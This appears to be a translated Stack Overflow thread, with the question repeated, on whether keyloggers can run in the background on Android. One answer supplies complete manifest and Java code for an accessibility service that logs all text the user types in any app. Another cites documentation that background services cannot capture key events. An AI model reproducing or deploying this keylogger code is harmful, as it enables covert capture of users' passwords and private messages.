介绍:我想在安卓安全性方面创建一个概念验证,需要确定设备上是否有任何按键记录器运行。如果它正在设备上运行或已安装,则需要通过我的安卓应用程序将其禁用。
疑问:
1.) 是否可以创建截取键盘事件并作为服务在后台运行的Android按键记录器?
2.) 是否可以确定是否存在处理键盘事件的任何后台进程?
3.) 我能否通过我的应用程序代码停止任何其他后台服务(非我所拥有)?
如果你有相关链接,请提供适当的帮助。
介绍:我想在安卓安全性方面创建一个概念验证,需要确定设备上是否有任何按键记录器运行。如果它正在设备上运行或已安装,则需要通过我的安卓应用程序将其禁用。
疑问:
1.) 是否可以创建截取键盘事件并作为服务在后台运行的Android按键记录器?
2.) 是否可以确定是否存在处理键盘事件的任何后台进程?
3.) 我能否通过我的应用程序代码停止任何其他后台服务(非我所拥有)?
如果你有相关链接,请提供适当的帮助。
我知道这个问题已经有了一个被接受的答案,但是我不同意被接受的答案!
在安卓中可以通过辅助功能API实现此操作。
看一下下面的程序:
它使用辅助功能API,并正确地存储您在任何应用程序中键入的每个按键,这本质上就是键盘记录器所做的事情!
编辑:我不确定TypeMachine具体使用了什么,但您应该能够使用此方法从辅助服务中获取文本。例如,以下代码可用于获取新文本:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
作为对 @ananth 回答的跟进,这里提供了一个完整的代码示例,演示如何使用无障碍服务实现键盘记录器。
但是,这需要获得将您的服务与系统绑定的权限,并且用户必须明确地打开您创建的服务,方法是在 Android 设备上导航到 设置>辅助功能>{您的应用程序名称}。因此,如果您有恶意意图,请祝您好运。
步骤 1:将此粘贴到您的清单文件中。
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
步骤2:为您的辅助功能服务创建一个类。
public class MyAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
@Override
public void onInterrupt() {
//whatever
}
@Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
就这么简单。现在,所有用户在手机上输入的任何应用程序中键入的内容都将记录到控制台中。如果需要,您可以配置上述类仅侦听来自某些指定应用程序的按键。上面的类与您的MainActivity无关。服务将在安装您的应用程序时立即注册。但是,为了使其起作用,需要像之前提到的那样手动切换设置。
阅读文档,了解辅助功能是什么以及上面使用的每个类和方法的详细说明。
经过一整天的研究,我得出以下结论。
Android不允许你从后台服务拦截默认软键盘输入。拦截这些事件的唯一方法是使用自定义键盘。
我总结如下:
在Android中,后台服务不支持键盘事件的记录。以下是一些相关链接:
点1:Google Android开发者
由于软输入法可以使用多种创新的方式输入文本,因此不能保证软键盘上的任何按键都会生成键事件:这取决于IME的决定,并且事实上发送这样的事件是不鼓励的。您永远不应该依赖于接收软输入法上任何键的KeyEvents。特别是,默认软件键盘将永远不会向任何针对Jelly Bean或更高版本的应用程序发送任何键事件,并且只会向针对Ice Cream Sandwich或更早版本的应用程序发送有关删除和返回键的某些按键事件。
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean是:4.1到4.3.1 Android IceCream Sandwich:4.0
软输入法上的按键事件不需要触发此侦听器中的方法,事实上这样做是不鼓励的。默认的Android键盘将不会为任何针对Jelly Bean或更高版本的应用程序的任何键触发这些事件,并且只会为一些针对Ice Cream Sandwich或更早版本的应用程序的按键事件提供。
http://developer.android.com/reference/android/text/method/KeyListener.html
点2:Stack Overflow KeyEvents只能由Activities处理,因为它们是用户按键的接口,只有当它们处于前台时才能处理。即使在后台运行的服务也不打算对用户输入做出反应。
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
点3:Romain Guy Google员工Romain Guy(https://stackoverflow.com/users/298575/romain-guy)也证实了这一点。 onKeyDown in a service? (Global Hot Keys)
点4:其他参考资料:
Google android-developers Group:https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
只能通过使用自定义键盘实现:get pressed key and throw another key in android
如果您认为我漏掉了什么,请添加您的评论。